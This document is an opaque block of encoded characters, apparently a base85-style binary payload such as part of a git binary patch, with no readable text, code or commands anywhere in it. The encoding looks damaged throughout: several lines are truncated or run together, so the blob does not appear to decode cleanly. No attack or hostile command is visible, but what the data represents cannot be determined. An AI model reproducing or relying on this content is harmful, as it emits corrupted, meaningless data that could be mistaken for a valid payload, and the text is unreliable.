zJ*a9mE^=+{Q%1yT*i_+M8t1ngmgL|FGaL(M?%nSzi&yG8u@x&IJ24{}<0C8k@57UY z>SCaIxxZCjOfX4k2jD2-TJ?)hkL>XpckjeTiFfvqG~B3swpJ)hQA{o5D$;FF8%Lxc z%YMrtC!&Lx37nK)J=~h8d0wtti!{dM$l10%QzG28ZfqtK;Xt0d+Nt$*TfeyL0-O@x zWG}C)F?O(mHlu)l_y4&3ofD#1YD6S%Qc6v13>&H8JmhuUrw<3{ASqig0KUwcrc^9s z1e%Fz1Az!B-_=Gc#J5Toe$d7Qh{XMc@NvcCoT7NxvWgJ_-H3?;d1mXXOZ;p@Icy;u zcqr_Fn3>%XIh<5#HoQ1=(;BeBOO@iRA`(t2XgRE9GGz(_u@XR;fsZ(;Y#?x5%=&y| z=$TM^5b^F!K)MQ1u@0%&o0``#4P)>PG4&`4rfE~;fj(ld%%pr+dtN5 zmUK$sYNy_*kts(K(U|BSwn>M3U}AMJuQh~E_8a{?0L%6Qpmh11J(Clwn&%&CK@5iAmnZ~|_en4dG4e8Ph+GA{zI~z49 zzfM@xnP@u}5o;o;qZs!^z=L*2H2J<=_+amt6uVoGw_>`u;l(~|8o1}_G(B7*XGdM0 z2CX)&`@fDJO{<99T86I$?mO;Zr&tGWDeHI2b_G^C3@J^RAC| zivR;&N9VDMb05oIhjv*+Qjj9sK}?hVMTzH=rdU>;(be$C4Xu6cCLyR$FFO^28gSh= zIx7Vt@XsI4D0R?mPBB4*r3BFe>QD(^?!I;1W)ke^B}Z*wZ#Q?aPsk4%Lsr}M2jv)tPK=a9!S;vN>fNg^%+?L000+xi2KpxXP(QHMM9^H!9Cul zd>Gtp2O49z6278)VtCn8L1r!>(%8~sRwm#1w8&q%WBVVc`I?sF$7wv@oml;l#NRty zktT7XGBy&8ZA4ICm6PV4xx)k<*YZjypt!qa!(az<^w6o3=%k1n z2*@P=>5RICM@uhl#FF6E3YHaq$(6u66UacMBd7MsTVZalTqw;qCN}ed|7SX4QfE{s zYquiYuEuBvL*>ptol%|UL*K&V==p-k1p&PzCjUZNwYBN^CC?CRl*3dm&(_ipzi#zs z5Gqmz_uMcswI1ZRUj^&c+PO1p<@q7K1~*sFwn&jfT&fNEbCQZ>JX$gKTKNu~L%~T_ z=|6EcWl1p`Vz0LncH!3s<2ji(X8L8nh>R5tv!Iq{SgXge6ozkGwKfH{_0SIYM)0#J z{W)Zi-xb&=)s-@sKUzvU<%<1vS{?g!>&4LJ$hrF03Bg;j-5(xB>K`j(!CYb&uwt89 ziCicB4fL8Ub*ikby>M}e#9x=Ohy|Gg8zz4a#Njf^`Te41&t>faS)mbSAqoEiH3mya z*m&j@6Fjnv{8nJrTIf&z;jN&d9b5t8Wo#^Ih>4kf>>sOiGH&i*ffnufLAU#r*-P!T zY{;Jen7Z_A|5v?Fo5ObA_0zm?7$6-1-(S+%zFq$m#4~_KRl1>M?U|#C3m4Cel@RAd z!Ed&?)6-k4Je#QT)F9B8KQFen)ZhjG@Mv@Gdd!^#qy!--)VBEvm-XSHAYm0Zo|_`_ z3-EpWg+Vo#Jl7S9H91hYzWeBqLg=$Wk6ilpm=N?tbgI9F!YEwl!nN%nLj-;vQHPPH z5SZv27kPE)js4L1-I|$c>3KD%U4bi~(J@aLP`TNU5teTmSc834`_Vk%W4g%8Mh^ij zMHn3*4MJCpgC~b##@f=+Y736pSi8=m`iHeoRpQ~XVZH|tYV*27Mc9L(5XBS7l}tm*BEmpi2g`^R_BABKRQdzt zQyFl(t()*{Amj`?^JMDX@*zB)yeqc&f^Cq~_w- zQAKL4!-r#^z4ZQ)a_TdDv}iZtyi{p>xis7O=fLOWFMUBMKihijaGbjIbuQ}3dhz^4 z@7y_=-!&#p53z&cPUeWbrBv%YJ%>5bWpA7917LK7eCS8={ z1f0SxEJ{1fCjPkZo++R&GQ^OI%?M1+o4ormcZPo_1(Z@yWj}zyKdiBIFrUS&V=y(V z;UB|8t)1*bgHb3uhcF+O1>rGyzKLcRbwVqjmF0=gnoZ4gND5p)8|P_(H&v5`Vc&xOSLb znc=XM%xYoKBi9c&M*ytdlsuX5YoFN7Gb6??o}Km#rurJpQ@OV{&0UMr2sJWJ9P)7P z!vbU8r_?qbKFB0 zWdKXIjOJUWq6b6{U%NPqNY-OXo{}#As?3wBpD3t?er!3Agj1YwdtH3sT$J(6=xisq zyJr`gn{@JvL-|>}5_oNFQ^32OS>R+%=W|xVzcsmR!>gsZUppRKf1N4Jx>GHC`q^<; zG)sVkI?pxD4U^-p27DxNL?6rC^cv&aWU}1FRWTQxYqc_I)qt}_FP7oR-&nlTrOr zbZ}9|C0+w?J~A~>F>A89s(nmnd!bcFjG9bm301~ci(s+yrsPU-Aws=)qPHNmjq%yO zBY|2>f|m6YLn+PjCm|qC*&Yf@ob%GwU5QIlWzVwRU1C{YtFS3uUZS6^1PTx7Z;-mR z27w(V<^nt+W`#8N8pVdBnrgAg_qf7-mArsiDU;JsJ20UAP*?f$k|56zi|&uY{*HlM zB<0m8@~NI`{1VIH&({`)bIT$@Z!1S-j#aN=(3r|j$8x#BiIM5B?x9IMkety6vzNI9RjO7<+<+ryGCVwt z?pD9!J2q@`A=mLME9WOMSX}TXTJnU!iV_@E8T^AUcw^hHp+V6;B_#3n~ zSF88ykICjckK*sW>A)6B=Z@F3@jDvb;B8W2VJ0)*X6_&x!PkonL^bwIXtH+YlH+l) z92ATQp+{t~;5Y=Nno)uG8mJzF9*2Q{au9y#_Q_)1-Tdvk+MTFc#4xtfA%{M|Gi933 zA37<}*f9rvGE8EX`YNrKa1PAC+*l;1%!x8J-(d)NVg;>gx~98sVrFNeKiAHaX2|@}s?b4&r;yWNir#G0eSoqOH`2ur zC04zASnjW=g({MRXNhJ^RoU~RT4umZL741$RV)Hq&}2CR)1@kIT3=@~0X2T0msYtEfF5W_l9bvmQvp zz!fC{qW7jJ$Xe=ALRF@5231+#OJib2duW_+Yq*CK5x3?Dd)c{k{go>a&YaZc-`R;> z!uBg>j{X??Ie^?am88)?J1nJD7%t7S=~w#$gelZB>iGI}LdtUt|A(MWA!kJ5fr8`E zt;ZOO$QZiYfgx0~@cOS>bIdh+XEp>QipL!5I0{=W2S3LOdtg!t7xmb%c_?tz9yV$a z;2jp36|^%vIO$WEJ8DSee9NA4wC5a*I?jRVPoezr+B_GiBPf3%x9ARhDyJ|%L~V3d z%+Y`s^@R788Fug$UsYR?OWx*uyJA_U>%LR>ehv@#lo0b4<>~gbH`!(S*9>9buuKyGsqw_-ax@43z z!}aC99sl>!!FGc7i(&P-F{MYV>uba^!mW!ecPEOF2{s7+1tk@C1)_!t1TXElI^Z$6 zEN2?ORj9@BBgR!_YdoXY&u&6CkBGV+!pF-1&^>?{>Z>@_rj5b3JW)3Q)x_rPdRN=i zHr1QWbK9TOSJ0S{-Sx|$0?UibZ_!uHwXn529vXnedW#U>r=W?dq+<--TZNdSV8j5q zbuOm^gC~mi=Y`L-4kP?x!m#LYTCo9(4PH$RT=5#l3;< zrvaKzbA6Rp+3_IWVqmZ5a7AN|-hahrert4w%Q(am_Kxs2`@C02ZS+*JV}9GZR5x;X zp+_9^=AzLHWlid}r=m$T=3#uF?NU`!3uRJZ5GxFSVYBDUM3hL_+T_A)eb~TA9Nh9B z@eTJ)B&)jkMI{k$NlUd7!^YL&A`!0&?XZkg7#T7yCU772dKTnP!nkahdDe(yXhaGh z{Pbr=+1gNCp{cl9i(fEb^XOw@m=ywnpEqWAOnCiE;N)7Y$P7~Hlw7aKa60MaXT%MQ z&u;|<1_(b)EBte~YbNEPf|{vrYYJ!!VG%-iU`nS)@FHB0$9ntxlf+c~2k{rFU}2m) zP7^M4@(6>4f^yg&N)(3kw^=AbDIa)9^4Z`cRJ3Ir(N7~TFon~?K!N-<8%t{ogI`No zzL~iSeCI8TAJJ^TkyIahPZOQRwEu}Z`_E^gKX$g>50lA6FPyeGq0y4?# zUhXlEG{mbyPrIE+&hg_~dGx^23w~B`F&f-kI^h> za(B~-;eX$>BA3Pd>~-uC~a z>Ye{8|HFUXY}=e{yC&PVG1+#LHIuQjCf8Ied$R3X*|txg{oQ+?bN+($(|Wz{$9+Ga z*TqME;_|n;0g?NfEZ#w4QcX9=@7<|VR*k?(cM0>_l_?z?Dqx?9mnl|75qGOJN$!Tn;klaEOPNTNL*+Hw%vJeYJBV25%z zKkaH}C@cTtzvE1RK3JI^f>v?9WLs|9As;+Ax(^YSdyYG^aMbT zWv@x&hK4TkPAEM#PVwTH==9>XVIYpdxy|;=3zgk^v;mny?}{#X6j~;~qu*weWd%jacZXSo zmmVTO9&Ecr#V*>aNPSF^8y+^OA99u?z8%;u*Hc(NW*z_=eNv5%gAj6X0)J*g(IK@l z%S{d?nH(K~U+A3bsRA1kURo9$C4J=T5tSFoTs7MTaeVN1ndGyoj3%OJ*xJ^QTCd1; zO(Ata+V8gw8mu5H_ja>+t$_sLwo#RdM;JiY`K(bSA6rRrRrCUjy@VoDt&u!Uik#*) z%JqkL#fUcFjE96LLUhJtmcZ=?zR+NCtxcHMb(#YAA#X+Be5kiLB?wcF+A zU(1erb-6K{mX59L*Sa{-BlKoFl>-+DWq;6lc|DEWs$=zAbo?O`my|Ie)PLkNqI!bG znqTSU1teVF$&g_fQiKl6#0tPAdemP#eK_YxtgeGcakUS3!;x-dIk!0euc0&vv#@MD zhPdEsq8y4(A~-t6vn?_7jOr8$!yAB#inYA| zMmF$6`4@z>5bIzptf0cwLoki^GJPo99joc?tU5`qY2_cqJxM)ZeBHG4f|SQZ`zqjIk+c zuykvuNOMl!2X55ZtF9yU=2Nzd7-8hrF=+8+?;n0-`PU+Qq~h-awky&yx*$+~>#n~; zD3Vww?OgplK2Ie!0|<2S9lJrxA34AManVU!GdZE{tdXC-;jy=MS9C)v51H?%^tTW) z4|*~_O&K^A-dL24!6a}@C*2RukfPI3y#w;Ekna^EXWt~p$qMuD7)ov@zeVjbN&LgUm6ek`HhX(HU?&{+)cdM|<1fB@r^G z>8YNl0nT~W4ms#dsrzcDDDMS+NGL$uxQ8&%-vb2z1|#yaw=>XqHiMsiUVjmc`eHLe z7fOHP2MwoZ2$BYc;N!cYUd{XlgN1dlQkW5jz<~lk!N=LFk7U8OY&=pSUB>YZC0hpf z+qo0w<*oZZpd4T|@ZWWU6|Z4Ak5cGz37}@=SvqkfrV^DuOZssIyA=i4@8D&bmVXGw zAjV=eh5W(2auBJW^FfutL)}n2&=1|qynML1!6^`Bg6a9WvjyBsXOfr7yK+>j5H`KN zM-_Q;zTd4pNWT21RL_n&m@$cLGfces6Z|sKT#Y%+amRMd zVfykbo65y!0h3Y1#)>~RJ=)N;!KPfLOp-~FkVSo* zPyHncf4@Sh?`@X35y)O)8cD8BPzS`OB*}Z18w?h0Yt!!X{56Y|c3?Uj8aH)bfxv2Z z+Pqr9*8Z{&KtI$(dE_#b8bU|P6Bfpf=y+8GGH$35iC@ViYG|XT z?^t!kNA2A3{2REyYNa0s_MEwl*ZeCUCxB+>AI!Ai{fXU$LX3L6r`hg3mLBvW1By9d zp0^8LuWk={a);j}#GEivAi+uKD5X8MaN}9fcD!k%xeUnl|!1ruwY+f@=tBZX)cU(>^~>1zix%*d3q;h&&2O@RR7b z?eDH^-Zi}D!ZO--urtH))+@t{GEIUH{0041Z(H)OIY~bk&c@izu}mU!E6W9;o@wfd3BU7iJz6+SId;U;6~ny)4-vdIG3 zD!PUveC@(_FXHOJ@kuU*8{+r1(GXYeU6r6nCKv@Fi@Dhta6WvfDU|9{JC3v=*|aR! zNeDJIyk$T8jh^r4hN|=~NWR^5Q3=U$m{ZEY0D3L>4QSep7?}G<@FB%7YR| zY7=0YSY~ht60ATVpSS7mA$KEL@2-`&RZ<-hPH#+qfB(W5OBq#uE`^S12p0r_hlzy@ z^Enl5D6&h^E}FH~K;Fk)*}`SuXZylwZTCgpV#s8MG%hs5H&Q~^gz4_#iw+wUx~pIP za8J{T&GrWzOIU;3*-o9uz3kBEtmxVO4V-v>r>ux!Za+__Q!BLv@w^Xy`(%%c>>U_o zb?cb0;9Q;7TWRmPcPFI4b8X<71f9JYl0KCENK|2aBZ_KNotBU?8tX*M@8+8xS^#5RZIZ0LkeDzgx_o5 zqb3rTZ5Afjy-Wz(%gY{yv3plJLqVGP9HU_3=sV-^+RJsLG%SQpFGc+$zmQ*nk_#yn zt+WRE#7KUXytIpl9FzJTrHr64zA*g^Q9iL8ZmxzFw!y)PHVksf(~A1 zy>36BdG#!&;o)zl5w-Ns1$*oK`J+*39ynHx4Yl>7PMgwY)yC&tAMuH1?&%0uDSe=> zBu5)JY-3e$@n?w2S z@M*A1?PD4cbeT~ExN~zu_*f#^6Hcl0d`+MJa&6)3pTI<3eRVjDSj*VPm|j?`oTaN; zf+rxB#~>jN_Id-C#_JQp2;2X*-suA+Ql@~zy_67Wytde^SGAL{jIzdodDiq2&X66^ zfj!I%UyCK77P&mbhC?6dM5%#GU*pZxK#h6> zm%PoPvMlU-%%%LEHE#8s^z6C}KgWcG*Vgl_S*MD?8h|1}H)M?x?4-bj^$%3U_C?pu zhO&^&^f&Xr|77m@QC%x+Lj)e#ArY8w%NaeNd;ej$s44c@7YI4koNbCL1XI-R{ra_; z9%3oxcEu~@8F#lVTMba^b|U17=Cm5+wlAa&iUZ^Nd?BK}Dt4;0zV0s00&YIbXCl)l zXG+pC$ya7kAT{Hm+At$xfyg;{V1K)K|vojkf`PBH$=+9$ON(Skk!a4(2 z)HvvlemA?Xe@wDnsbfq*FWoeqJN|IviRuF)Buz3dOcXa*(;E-jd4855+qusx``w@i zqRu+77S91Swo;p!&;FUd(Y(6kf4{&35UA16-gSezu^ef&qb`d#`|J%&Pf13wsB3Q- z*uidE4Gd2ZdAc#?sJn&6vo+9lxRZ`wF@pENFH%W%4|D?)oROfZ-_H&^dAClx_d;Ek zJ4AVmg%HG-L`WlE|7Sx^8vX{;;E7{GXA(ApyB-&X@1VcOyYlk7!7=p(mflYl#58Q8 zSXM-69UunpP+ZrebX=fgI}cr}Qfa!tKRAtL1?Y3|z9b7hrPu(9uP%kw*R83({;S3m8gOJT&(Rt9Gy`G2_1^NbGscN{aPGBfMC|Vm zYKcRxk^CQw0-J8|shdaq!|6F&v?ouPMJ7tB{K}0M%wCY7_;yr+%Lgyd`Q!<+M%`Y@ zy6$hOVxFx`Zfx~X71}M*{V0zBz1 zrUD8)ecq{PQ6VKHnq^MI?YepHtInrI{gZ z$Z|dphSs1gw?-h$!)-otT@?fla?v_Ga^sNBy~BXPu3PVwc-$(S>X`Rm!RgTiFnElj z^`e@(1xX3s?WX0z6MQ!;Hd@ayi;p=o0*M@jBxacSOemaH9lc>WM>w7r&D5q~Et(-& zI4(VCU~jf<%zO&NK1sH;`;o22lBc0I{#b)= z@a{S*GuEMy1BZNQCNud?if+@FIp&6fqEFNbm7GtL0Tp+c*ZK}g>P~hf3W6XR*CFG* z{(UUQD({Qd@?8X4y{EUnHh+M5aK??W%^PeWlphKfPNR;T*RQOuwJDGw5fn_?i;#lX z!fb*XxRrI@)mZ--(iB!d^#%LKW&|H#OjjPCgfjQXuZc;2OotBF={uENVm#LlW6(|AhGyZO^;maPzhjO0&6Ks_uubyKJ3*cOF~`B! zO>~*kG4vx^c=t4(g8gFL5^Voj-5BLNzUlGl`YnffI5OXInAP-rn&o=y&q;fj}}6R z=iHNFRb%s4(!@d>VHJj-q5A^Kg6ev>QC5=OPtfA;8;lB9S-;EMNu7133Eit-3#5+G zUdpKGII48GZ*eGUc)qJ-)IcL_A%H0~2L~itU@cTEI<7yx*_c#-X`1WFQ_Q`NIvLs$ zL8m3Ycf|T??XsfA&L3B~-M1t7(WlvVd9Bolr-uwpGXW&hFA-(bh+*&G8D>$x`9An_Hoe)qSa?_z* zJA9EJy&*x)&L9*6zRN>ihZC(Qj^u!HrLDf(2Q(iDY9JNB)N9!RYFi0#Uq5^ez9eP>*qs`F>n8Y8N5;9ZQt&` z_+A?7PVfk23a5ouY+~+^7GhS4ehA(hqo?dH&0{a$O+-TS0<&iSSCQnEcDX?*@vGSc zamNEr_kykew-)hz?t-|_o@9{BgLDN6FHQc`zRO|P=6~2JW{Ar^2TPCA_PT!nUQUmj z1EcA6y*{1bC;4qrSg6sY5>RkEyh*U&>>Q@i_q1abg`fiiaElsjFn(;RsvXV06^sQX z!8+82Vj&rJoTK5sd9B4Y@2Q)%n#{O|-JDQdzr3`ewZiW&-avKO%1uAEM#mj6ToqyQ z{pVh3Pb%T%Xe4p}Wv!2Bq%IJgQC7+?$_0r(dbo1f9<`x(RVa1*q**H$OcN`6h~FL$ z&bwc1mUD+oPWhp0NNpZKnvPh|9Ovd!L(E@+f~_YR>Vh*r>f{60y+5}@?9y6h1xB$; z;4WumgH&x+$8;wPDFE5IYGzX=u;paX#<1f zR+}SBce)nt*}$J>pi89JfW^1UIg?^vtd4>V5XZ*q_YL~F*t-PR%#~0@hH5^J3g%KbN9hbDc11u0Ze(xXd#Ii~fRx6-dy3iOEFv zH&x25opLGOoiB5G8qLER;`8@BCiRlScM1j1QvG6xA6_jTj1Sc(-jX~Y4JPJ8??yuU z22NvYe5V=2V1WNnD39Xm;9?9>_RVnuN7vC>Bl>SH- zba>vp^*4BIOGrnwXGbwxGXxXhCN_q)pioz4h5t1fgv5M4=Y3wsk78G4AY{$IB~S&a zE$uSpx*bUm!oQDY(0GfIauoeR`N`I$6BBp3aQILp()11A{6}(Feal=u<#X|wVV<^U zNuJu(7mt}L$oSrEsCT#}x9ve8p@Ht1(p5TJ1UE?T;!p6ND#(A%>2LfX!b^(h~|Z1Hk~-sv9Oz>l@0Y7 z^*TzL-|Bo{fugeVau^S7H$hGEWUJ^O;YeZoC&er`87`vJq4RQ`l70eF~*2a z@49SAl*zP7>)-M`xfi~Yvq^~gj<(27rxJp*SenVBmzoVVr{cZqmwha}hLUYm&7NWo z425j1h2>5$HhL0Cb}_1aCet?A)`b?|=#0e?@`in+c3@lt{`8?qR_v{7BDWpRX{MHQ zQ~qn!q$LPV=s`x5jcP>9p-5hlO$Tj4sPVmr>(`*Z(PL`5Cn;CTza{#oU&JRxGu(xc71CKbq2 z^ZZ{2-eZOsyuEYyQnoXE;{PQL@}eUi$y+j=_T#?x*dCIxr12(RZnmBpH|=H&_{0}^ zs~>`*Id6oqV#2_Nctq@{5b;I6=vF46gjbr}xcHWpuj(bUl0TsH-c_ZYyL$mT@Td=u z&+7regl(DKw5AX%pIByDyvhbH)XNk~d!%FnJ>*V|6&3+xFYVcv_WP2XL{DT;szhME zo}_XX?ToKPTM9MQ3{!v=dGD_ z&6J`}F~@j=Q+$p1Uu=LL=@=nv8Ma6o#aMA(&DqQMBJt%~lCb%z#jEO>zOrv7L)k(U zGE$`F!iFH5WyYqTLWn-pNsrH}tVWc^;_lTt(tkyY1#tzs@4S#tw=2lTz7G76y7sUW zH&}1U>sopE<4aJC?AmOoRuD4qnw-ud*$jEiQnNzLvmxDO3T|w0Yn*2#9*`(a#fOy7 z6l{ZK(m@trKLBbg9RJGsA!E9zq%{+n@!UDWb6hi((+$)AFyFtJl5{FfxYp<9C;Lu# zS8D2JqrNa}L9A6P7VOS=E+N?#6F7Fbu{nk+HWlMGEObl~B365y;ALi1o^XH6oQD6JdjT*hz1heOs@=nTNG`0rN3e$FSRT zBTcW7W#8jg__vmzgxI;>&*~`=&p?lZih%u~YZv{}V=ZfVYN8L`1@plWCLbS*ck>s3 z&z%ASJ1b@1oftPOkxtUsa_?`C=h^)Qw=dXW)rcfyOvx<`D;GTwmwnbkT#JG6nWNO&$|rrD_m`Z_s4}z&dee5_t!&_ro1Wt z)xUhn8@K}zlb8QeF|8UM{svY7P0MaX^IS-zNRCOW%+d2ki#7IJKIhxk@z3Se(dc9& zOBe}lWvAd70S(Qx#g{UEO#<~X;DdNF0d;E92R$~4i5r$o-`ShTUx`Y;wk!RYVy84p z7wm>wkf^1V(9#b!`}#^kRIq7j{~A<=d06>u*ELqP`9Ej_9D>g!bu z>^Xc-G>KA4<^4Yi<6uV3&C2$uu{8vczRdX(Om$90HH6aHc3z}vCeuDr*jnuPCE&a8 zKc><^eUDL{yvB94O<%%<#|K439Rou{-~`ZT<=g=8kG=p8ktZ2AAOIfU}vYYccg}Sc(R4s4Q}S zcXIXIzwn=qa6$gdT+6}0OA1%T$ic99KYHM?oV>!h{8&2ir`4W=S-5!xD^bVT_lxIG z>JWk2V7l47!hW|K$vtOOlobiiapi-Wixgagu>YRcYEmGwE?9AoG-fKEFh z3EArPxs813gc~)2f0DHtNkLgj7rY*!Q_OIb8bm8x>F@$Wc=v1S4+ej;H~qv*y;N<; z3Mat>$4SJ)zFKT;`vEzD0DYI*h$t83JLxRV&P_+MA z3b{PMpRCGiWs^-Wg&0Q){rv~t>n?f{BT+7lz&(mJh@S-Z7S2>Iej*(2-#76yVu=Y+ zI0t1KoWNEanj~M3g&y-~t`Sf~80N1bkCmQ8E_OGBt^RacIGs0xq4V~>Mi>y>@2MqX zKY?JIeZ$b))fQiWZ%yk#2hLRCnj{1)Grt70yBuf9Jr|b@Pez4Cv$}5WcO^Wu5>yf# zzriBbY9L+#3kZNoc7)mEM3Bl`(B!L4d)iR4Z79g5)j5mgREfQf+rerFw?GntxFbq%HSXj~)turz(pjj%CJXZjQ)GBNlRjeoz z;Ev0Ba_F-zv7Q{tw!Vt;+6qLZxvh~x@imkPjfVM+ITv=6bimi_E(|S#@6sbJjuS10 zHA41OznTYY!@94(FQ5w>^8WQyj@^VaKMFUcgh6FxPtZ*ZG?T?n8!}CUKK-`~R@Kcq z6debN2Fqd0(jbU9X#wJ;P21fDg0U1M6n=};e54p_3MJ)@qa^wqS0nRQHI@eTPvsa# zv?m@(6*>Rx#eG?Q1zT;g(&3nn#3x}Cy+3Q1 zstNpv&8rQ3xlz_;>AEXqiI>v1!945>bDw{AO*!xDGKU3+b?BPFFfj1TfbM?+t?u&^ z2)+KP18nF6(??%PJ1*Z{Zx<)dknnc9$kzu4xQBk!?J{-_wVUERf1C9@V6gWpVF5(A zy*hqoxtt@!#g&y`|Gn@(=CqgV`Xzm*;=w}PGvsa$tX{#c+5PiYpD=#KkN>?|^tkf1 zVwaI2X!yy`aU#S|vN>FlZJl=e@dsLACfEACjDJa_c6MDTDhBUY^nlo&?dlbsYr4%C zI;qNgz49+5{fKO_-KQtP1rkTwoorSwi@PV%ga<43G+na*O#=EeBW0=`e#rLY(m(DI zrdjmy&!20mOYm($66sb)NT&-0zYr+SG_;@>5W6enRy5FU*we1y&v*-2F;de<^Msdd zoUKw^+6{ayih}dU@XOPESBCimu&37_!-u75|8*uP^R7Zt&66&`W%j2!zx3ic6T76a zS?N}T*n5<%HGXpiV<9n$bNO>*tx~42X^JJFNvqQ_iHczfrux0h(@^?)C!{9K$3(WVthLZN1mUW_Lb_G|QT7)8Tfi?MvUGts zm}<6KE*uIJ$LfO+S<~<+p_q;!A#e~<7PAYI%WC1RoRME2aV;C}Jc%xh$HI62o0p*& zmKl;3kaT)MF-*tWfcyg)*-zvY0KIrQpkV&lL#S-L@C6*xdi9FhO1q9`ZA%P>UpXN! zq=JuZSU*7QQ5aHIz85wX!HAb-jz9-JMHI$^ST*3L&xVtR!bL693U0CCg^Z`HYE_RH zzBBX)zaR=tZ7Wcm7rK1}zBOsVgh&&8Bq^)0u3L=;F}`q>#ZuyrD-AMz7=3qIzIdl0 z`Pgq>sj%ocOOQ4DLaT7hCU@B15v-iV-f7d|*p=TWuDM7cdx+7SoZ?BRK68ZT^H;jJ zXy3)y5z5+n4RxYJ%6~u}iGr7U*9dKzZdM_O5rMgqp5d=wn6t#9D$fB|tXHF=Wmm`$ zQ*9kk5BQ4PvAOs9ojW|ckBO!!Kd6z+v6wy?OOK>qDEvt-mq8zbxF%}U+HX!pPl=$w zF459o>B%<3SezZFlWspCdvy8hQB_#03M*ibhF_bYCSX)l*k57{SI=keZtaj4Qwdyo zVA4m435FgMGwgDoSrR<}XFv@XW(kYS@eCV=0aRMaliD_8`_T_c`X_CTh}vzJ_bLtr7qCA`-tWrKh>5Z>lNvTLxbLK^Af2oz(W`7>_>}8TiO}wZ42&ZgT2> zaqV9Ib(JxFXv~u+TR@2xrk;+EeR1@9hly$gdb$T{ACfBRcSQvq=zf7{MrZ`Rdjp{_ zkT^Rcd$puZK42rLva4>Y1~7z+d9OkiP$dl#yFR!5P#IYVhd-}&Q6pvt)`n?4QA1fo z5v<_rbp>}bg>;rUXj6dK(Acr$WN}@l<_ic4 z8oZxqci#vx@XLQ+iDWrja#^jl^jLey*}7jh_R2FOLeE#34&5(Uo(JSZao9Avr(4ZU zAHM0V%5zxxGhXa&wxg1W4{klQ{@rexOh7)78t8=fuXr7iLQo*TJmqtbnd-VHB~-@T zHFXr3x@cw-(rd4sLB#1$&TB>`ymKLAnKm|PwU34-WSqK5E(SChP5P|%2Y_Ht%E#y) zBQLv^Lu?-SUJ`CMJPM0EkK)#+O4^yyKeU;cn>tgKELi6JHrN)GDddeEz1GMRa??a) z<5a>MwY)Xy+K|Koj`L}FRInbLI~AlT8oIwgqYT?=_i9#J3r}Bg@}33{pM-EUj9e0-kSDH7GcK(fHr#h;vg~JRoxXGk9*EG`)+oitr6yPt}WcJHwl54xbQ$5 z^QR*^Kg}?I9q%-{nHdRF=}z09bWq0&OqHCTABjNmpFU)8waX2^S>FF{O!4QqBU?S{ zA9OkO%-|VV)hkW)cT!3(a5=+iEh!&(S+UY>lS}+k?WDYwB-P>1UeS4No2Y4V7!%!S z^VuLRoxDx@VGPFn{|6fNgt00K8Pg9f-diIFr45!p*2s98UV?YAcQ^RnjL^KxA2Mjy zWSPGh+~eG{>N)>tU?hVTX>b&@F*RO|5byi-w!f%Gq>=@_EsE$Smcy6ag^bBk(s32u zKWYU5Pa27%#G0@Ndg&cv+Rd<>*le=Q6aILjL^XO^2IAw4m*yv!K;P^ic~T#%&fHth z>2UwueSnu3bazoWf;qkG)uX`^r-q_Bt zZlR6(zQrLBY65N^w#6O!RJVuob>Y;TW`R;^^*q*-3{s<35$%Zyh6zEmvS7`IHT)l? zR#82epO$k%{oM_wmt!m1L(JRM($+t&7e7>~H_(#1VRQH6cgawn&JEI*2>-+KiHwGx zhvu!1rJ9wrRgbk=7EfbP)^57PYqHxhKa_ze>X7*gulmp}rNh+Hr`j51O2rJ|4Xp^y zRn|Q((}1t2{DM-}_uBMZ0#nd&1}H@jsjM<&FK1lPDAlc1N)`?u<4G3s1K7nbJ>pG= zzbHJz5BUzh_h@irMJlFs+bIe$dEi(iG)(GJ*XXhtmX|<= z28xSV%oJflM$nafD(uj(YrWJS{qNKa2_W8{in4VTb?~!)GWhyQg*cSbP85g zsLw<+T9xrUe*@*Lukr*E{?Y4{#ho$N`AQ%CMj!`Mw5sX~M_p}@4E3rX;(L|5h!Ems zYu_1cV)*!u?WfIY`$q`5MVlyTS)2eYZq*vh3s)s>PL`TOpM8y$<5}@!L6Voby@Y11 z=1jMw*M(1ME=kmeK-tmvCr(eO0T=lY(MFZA|`j#qde&`dpzQvmiixr+qem;P)>gH~UE-qRT?H9+C^D%mS` zV?4F`AOD?7xGLElFBrM))ibiwxSwctT0U3KAWBH|^)>@xHpS5VEol>~sn;Kco(cAiYt5hrsw~IDJ9&tSJ>Nhrr^SXrP1B za_;;XguuDl>H1oJl2J|3j<_{h z?aY5>`_Eve9~1oHcMiLHvveZ^nh+)H+pv5yUhNEsK%EJTWmcosbDk>~^+t8V?_0Fe zPel*Jw4DN{uq~Vhf-xHWYSW8YS0wE@ATd0?Mi|p2ZoEJGpGu(Pg;9n*)B7D7Njb6J zLF*Zh>Zxk`Dxki$?F(a(i4DbAvp)e;zS-ZubDu06`9F(Q!8jaHZyv61+Tin5|DEMa zSzaLUWt1q87tGzc*5VT(&9wJ9lH<`uKl_F4A$aws^2fE&EbI_O9JJN8LET~X&|B<- z+XK=fve>kq7k$t>sTcR{JrfF@v6!tU(P*3^k>Od%%`r{h%URTNb`OLtf?!J#0&MCv z*&lEe4mxKoyWJ;@e7wL`38yZkL2{-1aFg{poIg(^98*;&Uv7=w-tCyLuvMew^z70L zZj~XbQup~PMh!U>eBI+KxBOTwxu;@*a)8vo3H@B7zm~f2W^4?W*AO*Xwgz|g!a?1lF8vat^~U$%y>QWUP>+C=5R9gbH61z8k0!_#p6;hCX+A!*-?o=G ztE!Y1Joqo5ybd-*D6kson|%>1jSwh_%Z2EP?fA9b7cNxa|5Z9>k-OEp-hg}W?0a!e zQR5t6O7#|~mT;G=K(fbU&*T)9kHEbut}AgzP&M%6F2!WeiQ3^KX;k#vysKW3qVZw6 zYgG({e}lB>s88<55mnj4PJmAvW#Zgx5-&{D(OGKkiB({lyur_f&5hxTjmR&bRdIOY z(V>5+6TiR;D8%Y~iqD}3NnVj}eZvC*UQixi{!uYkX<0zxrPQko$6C*#Tl`kX)9VGWp#({|4E-2^dG{bP%JQKtL( zAsgEmWJlz}wEswoXp83mbSU!K>ib?>`znl;BGQnb)wQE+yn55bgu-Oy;7=?9(179` zZE98hSzt#7I7&aWd$;=<7+l49w3S8P?@q#Tjqb<>zE*F|ZC;nTu=LAhMC%hq8O_ay z*D8~KXgXf+WuL-tSCE%wOCK*w3+KL^eV%*Yj)O| zG?M*Ll>%TiJ60qsLaXN*wIBM$c2 zC0sHO;0mozt5%ncjxhaO@-&Gw6NE`-&&>9AFAAr^9 zFu0n=BO8RTK3r^sAHQ$UdQoKCm2Y#XuwQ39|l~xd|$b>ejxu8=NfLm?mZOnx>y!n%X>bvg7M^1$q-iAH0G$L%C-UD z!uSVMwag4337xt=_^bL$r-yQ=8ax`O4M3jC6}lC@>VDg2$rky1 